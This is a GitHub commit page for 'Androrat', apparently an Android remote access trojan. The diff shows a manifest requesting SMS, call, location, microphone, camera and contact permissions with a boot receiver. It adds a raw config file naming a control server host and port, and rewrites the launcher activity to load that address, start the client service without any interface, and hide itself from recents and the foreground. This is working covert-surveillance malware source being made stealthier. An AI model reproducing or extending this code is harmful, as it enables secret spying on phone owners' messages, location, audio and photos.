Skip to content

Commit

Permalink
Add configuration for res
Browse files Browse the repository at this point in the history
  • Loading branch information
wszf committed Feb 22, 2014
1 parent 37a45f7 commit d13cc83
Show file tree
Hide file tree
Showing 5 changed files with 131 additions and 157 deletions.
103 changes: 61 additions & 42 deletions src/Androrat/AndroidManifest.xml
Original file line number Diff line number Diff line change
Expand Up @@ -6,57 +6,76 @@

<uses-sdk android:minSdkVersion="8" />

<uses-permission android:name="android.permission.RECEIVE_SMS" /><!-- Pour déclencher le service lors de la reception d'un SMS -->
<uses-permission android:name="android.permission.READ_SMS" /><!-- Pour déclencher le service lorsque le SMS reçu contient un mot clé -->
<uses-permission android:name="android.permission.SEND_SMS" /><!-- Pour permettre l'envoi d'un SMS -->

<uses-permission android:name="android.permission.READ_PHONE_STATE"/> <!-- Pour récupérer l'IMEI et toutes ses informations -->
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/> <!-- Pour récupérer les appels sortant -->
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/><!-- Pour savoir s'il l'on est connecté ou pas -->

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> <!-- Acceder aux coordonnées GPS -->
<uses-permission android:name="android.permission.INTERNET" /><!-- Pour utiliser les sockets -->

<uses-permission android:name="android.permission.RECORD_AUDIO"/><!-- Pour enregistrer de l'audio -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <!-- Pour plus tard avec SD card -->

<uses-permission android:name="android.permission.CAMERA"/><!-- Pour prendre des photos avec la camera -->

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /><!-- To start just after Boot -->

<uses-permission android:name="android.permission.CALL_PHONE" /><!-- Pour permettre de lancer un appel -->
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.VIBRATE"/>

<application android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:debuggable="true">


<receiver android:name="BootReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<category android:name="android.intent.category.HOME" />
</intent-filter>
</receiver>

<uses-permission android:name="android.permission.RECEIVE_SMS" />
<!-- Pour déclencher le service lors de la reception d'un SMS -->
<uses-permission android:name="android.permission.READ_SMS" />
<!-- Pour déclencher le service lorsque le SMS reçu contient un mot clé -->
<uses-permission android:name="android.permission.SEND_SMS" />
<!-- Pour permettre l'envoi d'un SMS -->

<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<!-- Pour récupérer l'IMEI et toutes ses informations -->
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
<!-- Pour récupérer les appels sortant -->
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<!-- Pour savoir s'il l'on est connecté ou pas -->

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<!-- Acceder aux coordonnées GPS -->
<uses-permission android:name="android.permission.INTERNET" />
<!-- Pour utiliser les sockets -->

<uses-permission android:name="android.permission.RECORD_AUDIO" />
<!-- Pour enregistrer de l'audio -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<!-- Pour plus tard avec SD card -->

<uses-permission android:name="android.permission.CAMERA" />
<!-- Pour prendre des photos avec la camera -->

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<!-- To start just after Boot -->

<uses-permission android:name="android.permission.CALL_PHONE" />
<!-- Pour permettre de lancer un appel -->
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.VIBRATE" />

<application
android:debuggable="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<receiver android:name="BootReceiver" >
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />

<category android:name="android.intent.category.HOME" />
</intent-filter>
</receiver>

<service android:name="my.app.client.Client" >
<intent-filter>
<action android:name=".Client" />
</intent-filter>
<action android:name=".Client" />
</intent-filter>
</service>

<receiver android:name="my.app.client.AlarmListener">
</receiver>

<activity android:name="my.app.client.LauncherActivity" android:label="@string/app_name" >

<receiver android:name="my.app.client.AlarmListener" >
</receiver>

<activity
android:name="my.app.client.LauncherActivity"
android:label="@string/app_name"
android:excludeFromRecents="true" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<activity android:name="my.app.alt.PhotoActivity" android:label="@string/app_name" >
<activity
android:name="my.app.alt.PhotoActivity"
android:label="@string/app_name" >
</activity>

</application>

</manifest>
6 changes: 0 additions & 6 deletions src/Androrat/gen/my/app/client/BuildConfig.java

This file was deleted.

32 changes: 0 additions & 32 deletions src/Androrat/gen/my/app/client/R.java

This file was deleted.

2 changes: 2 additions & 0 deletions src/Androrat/res/raw/config.wszf
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
host=192.168.3.100
prot=9999
145 changes: 68 additions & 77 deletions src/Androrat/src/my/app/client/LauncherActivity.java
Original file line number Diff line number Diff line change
@@ -1,5 +1,9 @@
package my.app.client;

import java.io.IOException;
import java.io.InputStream;
import java.util.Properties;

import my.app.client.R;
import android.app.Activity;
import android.content.Context;
Expand All @@ -11,82 +15,69 @@
import android.widget.Button;
import android.widget.EditText;

public class LauncherActivity extends Activity {
/** Called when the activity is first created. */

Intent Client, ClientAlt;
Button btnStart, btnStop;
EditText ipfield, portfield;
String myIp = "192.168.3.100"; //Put your IP in these quotes.
int myPort = 9999; //Put your port there, notice that there are no quotes here.

@Override
public void onStart() {
super.onStart();
onResume();
}

@Override
public void onResume() {
super.onResume();
setContentView(R.layout.main);
public class LauncherActivity extends Activity
{
/** Called when the activity is first created. */

Client = new Intent(this, Client.class);
Client.setAction(LauncherActivity.class.getName());

btnStart = (Button) findViewById(R.id.buttonstart);
btnStop = (Button) findViewById(R.id.buttonstop);
ipfield = (EditText) findViewById(R.id.ipfield);
portfield = (EditText) findViewById(R.id.portfield);

if ( myIp == "" ) {
ipfield.setText("192.168.3.100");
portfield.setText("9999");
Client.putExtra("IP", ipfield.getText().toString());
Client.putExtra("PORT", Integer.parseInt(portfield.getText().toString()) );
} else {
ipfield.setText(myIp);
portfield.setText(String.valueOf(myPort));
Client.putExtra("IP", myIp);
Client.putExtra("PORT", myPort );
}


startService(Client);
btnStart.setEnabled(false);
btnStop.setEnabled(true);
moveTaskToBack(false);
}

@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Intent Client, ClientAlt;
// Button btnStart, btnStop;
// EditText ipfield, portfield;
private String myIp = "127.0.0.1"; // Put your IP in these quotes.
private int myPort = 9999; // Put your port there, notice that there are no quotes here.

@Override
public void onStart()
{
super.onStart();
onResume();
}

Client = new Intent(this, Client.class);
Client.setAction(LauncherActivity.class.getName());

btnStart = (Button) findViewById(R.id.buttonstart);
btnStop = (Button) findViewById(R.id.buttonstop);
ipfield = (EditText) findViewById(R.id.ipfield);
portfield = (EditText) findViewById(R.id.portfield);

if ( myIp == "" ) {
ipfield.setText("192.168.137.1");
portfield.setText("9999");
Client.putExtra("IP", ipfield.getText().toString());
Client.putExtra("PORT", Integer.parseInt(portfield.getText().toString()) );
} else {
ipfield.setText(myIp);
portfield.setText(String.valueOf(myPort));
Client.putExtra("IP", myIp);
Client.putExtra("PORT", myPort );
}


startService(Client);
btnStart.setEnabled(false);
btnStop.setEnabled(true);
//moveTaskToBack(true);
}
}
@Override
public void onResume()
{
super.onResume();
Client = new Intent(this, Client.class);
Client.setAction(LauncherActivity.class.getName());
getConfig();
Client.putExtra("IP", myIp);
Client.putExtra("PORT", myPort);

startService(Client);
moveTaskToBack(true);
}

@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
// setContentView(R.layout.main);
Client = new Intent(this, Client.class);
Client.setAction(LauncherActivity.class.getName());
getConfig();
Client.putExtra("IP", myIp);
Client.putExtra("PORT", myPort);

startService(Client);
//moveTaskToBack(true);
}
/**
* get Config
*/
private void getConfig()
{
Properties pro = new Properties();
InputStream is = getResources().openRawResource(R.raw.config);
try
{
pro.load(is);
} catch (IOException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
myIp = pro.getProperty("host");
myPort = Integer.valueOf(pro.getProperty("prot"));
System.out.println(myIp);
System.out.println(myPort);
}
}

0 comments on commit d13cc83

Please sign in to comment.